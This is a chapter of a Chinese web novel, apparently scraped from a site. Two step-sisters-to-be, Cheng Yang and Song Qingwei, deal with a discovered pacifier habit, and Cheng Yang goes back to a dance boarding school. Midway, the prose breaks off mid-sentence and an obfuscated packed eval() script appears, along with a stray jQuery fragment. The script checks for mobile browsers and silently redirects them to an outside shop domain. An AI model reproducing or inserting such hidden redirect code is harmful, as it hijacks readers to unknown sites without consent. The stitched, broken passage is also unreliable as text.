成漾还真听话地走出了房间,躺回自己床上时,她的脑袋还是一片空白。
她其实脑补过很多种可能,想过宋青唯会不承认,想过她们会争吵,甚至想过宋青唯会拿这件事威胁她,可就是唯独没想过事情会以这样的一个方式收场。
她花了很久的时间,才慢慢复盘和消化刚才发生了什么。
成漾敢肯定,宋青唯绝对没有口欲期,因为她不相信,像这样如此小众的病症,在同一屋檐下居然会有两个人都有。况且宋青唯也否认了。
可宋青唯明明没有这种症状,却买了同款安抚奶嘴,还让她当面给她拍下那样的照片,目的是什么呢?显而易见,只不过是让她不要胡思乱想而已。
而且,宋青唯这显然是有提前准备,甚至预判了她会来找她,甚至还提前想好了让她安心、以及让她不必为这样的一个秘密被第二人知晓而觉得尴尬、崩溃的应对办法。
宋青唯这么对她好是为了什么?单纯只是想让她接纳她,好成为自己的姐姐吗?
呵。谁知道宋青唯到底是怎么想的。
成漾把宋青唯从微信黑名单里重新给放了出来,都不到两分钟,宋青唯就给她发来了照片。
正是成漾刚才给她拍的那张。
成漾点开那张照片。
其实她并不是想看,只是下意识的动作,结果点开之后,就忘记退出去了。
这张照片是她拍的,可刚才她都没怎么仔细看,随意地就按下了拍摄键。
照片里光线有点暗,灰蒙蒙的,镜头里的女人穿着一件深色睡衣,头发随便用一根皮筋挽在耳后,没怎么打理,脸上是纯素颜,皮肤白到能看见颧骨下面淡淡的血管。
镜头离得很近,焦点在她脸上。女人的五官很干净,眉骨高,鼻梁挺,嘴唇薄薄的。眼神有点空,像在走神,又像在打量着拍摄的人。
整个人看起来很素,有点冷。
可就是这样一个脸上没什么表情时,浑身上下都充满清冷感的人,此时嘴里含着一个安抚奶嘴,粉色的,跟她身上的气质不是很搭。
成漾没敢多看几眼这张照片。
因为觉得这照片有种正常又不太正常的诡异感。
她关上手机,躺在床上时,发现自己的心情变得格外平静,丝毫没有起初发觉自己秘密被撞破时的那种崩溃感。
因为她也拿到了宋青唯的“软肋”,而且这还是宋青唯亲手递给她的。
若那天她的秘密东窗事发,那她就跟宋青唯鱼死网破。
除此之外,最主要的是宋青唯让她给她拍照片时,那无所谓的态度,好像有口欲期是一件很正常的事情一样。
这也对成漾有种无形的鼓励,而且让她产生了一种错觉——
其实这也不是什么太过变态的习惯,对吧?
……
而此时的另一边。
宋青唯坐在房间里,伸手揉了揉太阳穴,开始复盘刚才发生的事情。
在成漾的房间里发现那个印着Baby Care字样的透明防尘盒、以及里面的奶嘴时,她内心其实只是有点儿疑惑。
毕竟在她看来能用到这种东西的人,基本上都是小婴儿。
成漾作为一个明年夏天即将参加高考的成年高中生,怎么可能会有这样的东西呢?
当时的宋青唯并没有想太多,因为成漾当时已经痛经痛晕过去了,她光想着她的身体情况,哪有心思想这么多。
但后来从医院出来后,她终于有时间了,于是主动去了解了这方面的知识。
既然为了能够更快更好的融入这个家,那她还是需要深入去了解一下成漾的,这样才能够更好地让成漾接纳自己。
起初宋青唯只是想随便查查。
但很快,她居然就查到了“成年口欲期”这种东西,指的是个体在成年后,潜意识里仍在寻求通过口腔的吸吮和啃咬来获得慰藉,主要生活表现表现为频繁咬指甲、咬笔头、咬吸管、咬嘴唇等。
只不过,只要不影响社交和健康,属于正常的自我调节,不必过度担心。
而成漾房间里的那个安抚奶嘴,很可能就是为了缓解这种症状而存在的,又或许可以把那东西换一个名字,称之为“咬咬胶”或者“咬咬乐”。
宋青唯研究了一整个晚上,都在研究这件事,甚至为了更深入了解,她还亲自去线下店,买了同款回来好好研究。
“口欲期”这个名词对宋青唯来说,是有些陌生和难以理解的。
但了解过后,其实在她看来,就算一个人有口欲期这种东西,这也是一件很正常的事情。
每个人或多或少都有自己的一些小习惯或者是小怪癖,成漾只是喜欢平日里咬东西罢了,又不是什么特别大的毛病。
即使宋青唯觉得这事没什么,但在知道这事儿之后,还是会控制不住无意识观察成漾。
她发现成漾平日里的确有频繁咬手指的习惯,甚至刚才喝中药时,还喜欢把吸管咬得乱七八糟。
果然跟网上了解到的表现一模一样。
宋青唯本来觉得自己把东西放回原位后不会被成漾发现,也不觉得这是一件多严重和难以启齿的事,可却没想到刚才成漾气势汹汹地杀上门来了。
宋青唯看得出来,成漾对自己这个小秘密被别人知晓这件事非常非常在意,她一开始本试图用一种云淡风轻的模样跟成漾表达自己觉得这件事很正常。
可成漾当时看起来实在是非常激动。
宋青唯立马意识到一个很严重的事实——
撞破成漾的秘密不是她的本意,若是她没想到一个很好的办法去处理这件事,说不定这事就会像一根刺住在成漾的心脏里,每每想起来都会非常介意地刺痛一下,让她觉得难受。
甚至若不及时地好好安抚成漾,这件事还会影响她们之间的关系,让成漾更加抵触和厌恶她,不利于她们之后的关系发展。
这并不是宋青唯想看见的。
之前她做了这么多努力,不就是为了能让成漾能没那么厌恶她甚至喜欢她,直到慢慢接受她、让她成为成漾的姐姐么?
于是她就做出了那样的举动,当着成漾的面把这个东西含在了嘴里。
宋青唯微微垂眸,看着自己手中的粉色安抚奶嘴,又想起自己刚才咬住它时的触感,总觉得自己身体刺挠似地不自在。
哦天呐,她刚才居然咬着它。
以当时的情况,宋青唯并没有太多的时间去想一个完美的应对之法,于是只能这么做了。
现在想想,这个办法的确是有用,成漾还算是挺满意地离开了,这事得到了相对完美的解决。
现在房间里只剩下宋青唯一个人之后,她细细复盘下来,还是觉得刚才自己这么做有些不妥。
但除此之外还有什么更好的办法呢?也许有。只不过几分钟前的她压根就没什么充足时间去思考。
算了,她咬都咬了,还能怎么办呢?
宋青唯想,只要蒙混过关,成漾没有因为这件事变得更讨厌她、与她更疏离就行。
……
出了这个小插曲,仅剩的假期时间里,成漾也没有心情再去挑宋青唯的刺。
周日下午,她准备返校,这次是成润亲自送的她。
七月到现在,是成漾在艺培学校集中集训的日子,只不过这段时间是集训前中期,她们周末还可以休息回家补文化课。
成漾文化课一般,每周末都有家教老师专门上门教学的,只是因为这周她的身体突然不好,生病了,才取消了补课。
而现在十月了,学校准备正式取消周末,让学生们文化课方面先暂时搁置,回校进行封闭训练、专心筹备省统考的事。
也就是说连续两个月,直到十二月底统考前,成漾都必须待在学校里进行最后的冲刺集训。
校门口不少家长都在送学生来上学,因为之后几个月都没办法回家,于是家长都在恋恋不舍地拉着孩子说话。
成漾有点舍不得妈妈,又觉得上学简直是在坐牢,心情非常不好,恋恋不舍不愿下车:“以后一天假期都没有!”
两周只有半天时间放假,出来采买物资当晚必须归队。
坐牢都没有这么难熬。
成润无奈笑:“这么大了,上个学还委屈的呢。”
成漾说:“也没多大!”18岁就很大了吗?那她也要撒娇,更何况连续两个月都没有什么假期的日子,本来就很煎熬的,她都要回校“坐牢”了,跟妈妈撒娇几句又怎么了呢?
成润安慰她:“没事的,坚强一点。再坚持坚持,两个月之后就熬过来了。”
道理是这个道理。
可在这样一个封闭环境下魔鬼集训的日子,让她觉得简直就是度日如年。
成漾:“妈妈,等家长接待日你要来看我。”
成润说:“有空肯定来。”
虽然接下来这两个月,成漾在学校里,没办法回家,但学校设置了每隔两周的周日下午都有家长接待日,想来学校看看自家孩子情况的家长,可以提前预约进学校,来看看孩子,当然这也不是强制性要求,离学校远的家长没空来,或者是半个月一个月来一次都正常。
成漾又说:“十一月的时候,学校还会有汇报展示,那个时候一定得来,不是有空才能来!”
成润:“具体时间呢?”
成漾:“现在我还不知道呢,到时候老师会把时间放家长群里的吧。”
成润点头,只想着先哄好她,点头说:“嗯,那肯定。”
成漾得到了满意的回答,这才推门下车,恋恋不舍,三步一回头地进了学校,看着成润车子消失在视野时,心情还难受了一会儿。
好友曾禧三两步跳过来说:“你怎么这么黏你妈呀,人都走了还回头看呢。”
成漾:“接下来得好长一段时间见不到妈妈了,难受。”
“我不难受,”曾禧摊开双手:“我妈不管我我还高兴呢,天天在我耳边念叨。”
成漾垂眸,吸吸鼻子:“那我就是难受。”
“你又要哭鼻子了呀?”曾禧歪着头过来看成漾的眼睛,得出一个结论:“你果然是妈宝女。”
曾禧现在都记得,之前高一入学时,学校强制所有学生必须住宿不能走读,她刚想着得好好庆祝,抬头一看窗外一个长得非常漂亮的同龄女生哭天抢地地拉着妈妈说不想住宿,抱着自己的妈妈说要回家。
而她妈妈则没什么表情地跟她说得遵守学校的规定,女孩一听,旁若无人般地哭得更凶了。
曾禧当时跟并不熟的同桌对视一眼,相视一笑,不是很能理解怎么会有女孩这么黏着自己的妈妈。
成漾说:“妈宝女怎么了?我乐意。”
……
晚上成漾跟曾禧在学校吃饭,晚餐统一餐标,一荤一素。
成漾点了青椒肉丝和清炒豆芽,曾禧坐在她对面,点的是红烧肉和麻婆豆腐。
成漾挑着豆芽,一根根地放嘴里吃,掀起眼皮看了一眼曾禧餐盘里的红烧肉,叹为观止:“你疯了?”
距离省统考也就两三个月的时间了,曾禧居然敢吃红烧肉。
曾禧夹起一块红烧肉丢嘴里,吃得津津有味:“我吃不胖体质,你气不气?”
成漾:“……”有时候也是真羡慕,毕竟为了几个月后在考场上拿出最好的状态,她已经在很克制自己的饮食了。
近期唯一一次放
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17906742|213040||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
纵,还是周五晚上,跟宋青唯在一起吃的那顿,如果不是碰巧下雨天,成漾说不定只是点个减脂餐外卖随便吃两口了事。
都怪宋青唯做饭做得太香了,所以她才没忍住吃了这么多。
成漾越想越气,用筷子恶狠狠戳着饭。
曾禧注意到了,问她怎么了?
成漾便把自己生气的原因给说了,末了还补充了一句:“你说她是不是故意想害我?”
曾禧:“……”
有句话真不知当讲不当讲,但她最终还是说了:“是不是太恶意脑补了一点?人家这么好心给你做饭……”
成漾把自己手中的豆芽戳成两截:“你哪边的!”
曾禧摸摸鼻子,立马改口附和朋友:“其实也不是没可能——她或许就是想胖死你。”
成漾满意了,继续拉着曾禧喋喋不休、添油加醋地说一堆宋青唯的坏话,仿佛这样真能够洗脑自己更讨厌宋青唯,顺便带曾禧跟她一起讨厌她。
曾禧也不管真的假的,也不管自己究竟信没信,总之成漾都这么骂了,当着成漾她也跟着附和骂,毕竟朋友大于天,开团就必须秒跟,绝对不当叛徒。
但也不代表曾禧没有什么自我判断能力,心里跟明镜似的,没有偏听偏信成漾的一面之词。
晚上回宿舍,曾禧跟另外几个同学到公用洗衣室取机洗的衣服。
同学凑过来,八卦地问:“曾禧,上周五傍晚放假的时候,来接成漾的漂亮姐姐是谁?成漾姐姐吗?”
这个问题,曾禧无法回答,给肯定否定的回答都不太对,她模糊两可地“昂”了一声。
同学立马激动地说:“但那个漂亮姐姐跟成漾长得不是很像啊,但都一样漂亮,她们家这基因真绝了。”
另外一个同学接话道:“成漾姐姐气质很独特,怎么说呢,有点欲……啊哈哈哈。”说到后面,还爆发了一场意味深长的笑容。
曾禧“诶”了一声:“我就说是吧,有点欲。”
“岂止是有点儿啊!”同学碰了碰曾禧的胳膊:“你跟成漾关系比我们好,你帮忙问问成漾姐姐的联系方式呗。”
曾禧上一秒还在跟她们开玩笑,下一秒立马变得严肃了起来:“那不行。”
“为啥?你不问我们自己去问。”
“就不行,”曾禧又说:“你们在成漾面前可别提她姐。”
“为啥?”
曾禧:“问这么多干什么!总之别提,你们敢提的话就完蛋了。”
“为啥啊?成漾跟她姐姐关系不好吗?”
“成漾居然有姐姐吗?高二的时候我还听说她是独生女啊?”
曾禧:“打听这么多别人的私事做什么?好好洗你的衣服。”
“不说就不说嘛……不问就是了。”
而她们不知道的事,对话被拐角角落处站着的成漾听去了。
成漾因为膝盖痛,还有了很多淤青,刚才正在宿舍上药。
舞蹈生的膝盖总是会各种受伤,成漾因为太瘦了,还是易淤青体质,稍微磕磕碰碰膝盖就全是淤青,非常容易反复受伤。
上完了药,才慢吞吞下楼到洗衣间取衣服,自然就这么碰巧,把曾禧跟同学之间的对话给听了进去。
曾禧没把她的私事说出去,自然是仗义。
但成漾还是有些不太爽,在心里暗暗说了一句:曾禧你个叛徒,居然跟其她人在一起偷偷夸宋青唯好看。
但转念一想,这也好像也确实怪不了曾禧,毕竟曾禧跟宋青唯素不相识,确实没什么道理一定得很讨厌她。
所以成漾当即决定,她要更讨厌宋青唯一点。
等曾禧跟同学拿好衣服上楼之后,成漾才进去取衣服,然后才回宿舍。
曾禧过来问她有没有私藏一点零食,她藏的零食大半都被收走了,想吃点辣的。
成漾突然阴阳怪气地说:“你眼神最近好像有点不太好。”
曾禧:“?”
成大小姐这又是怎么了?
……
队里统一收手机的时间在周一早上。
所以这天晚上,宿舍十点准时熄灯时,成漾躺在床上掏出手机,回看自己今天晚上在训练室的练舞视频,打算好好复盘一下,可是在自己反复拉进度条的时候,相册一不小心往左滑,宋青唯的照片就这么出现在她的视线中。
成漾条件反射把这张照片给划走,但下一秒,她却又鬼使神差地又把这张照片给划了回来。
这张照片其实是她第二次看了。
上次,她的情绪不太稳定,即使看了照片,也没有什么想法。
现在再看,成漾看得更详细了一些。
宋青唯气质偏清冷,高挺的眉弓连接着挺直的鼻梁,将五官轮廓撑起,饱满精致。面无表情时会给人一种疏远的感觉,这张照片里的她明明在放空,可看着照片时,无端觉得被她盯着。
明明有种不食人间烟火的感觉,嘴里却叼着一个安抚奶嘴。
乍一看有点违和,可看久了,成漾却发现曾禧她们好像说的,也不是没有道理。
宋青唯的这张照片,好像,确实,有、点、欲。
准确一些来说,是很有食欲。
她牙齿突然有些痒痒的。
而这个念头刚浮现出成漾脑海一秒钟,手机就被她按息屏了。
为了缓解牙齿的痒意,她掏出一块硬硬的长条肉干,咬在嘴里,慢慢的磨牙。
边磨着牙,边控制不住地想,真的好诡异、好晦气,临睡前还看到宋青唯。
她觉得自己需要对着手机撒一把糯米,当然糯米是不可能有的,于是她又掏出手机,给自己的微信头像换成了柚子叶——去晦气专用。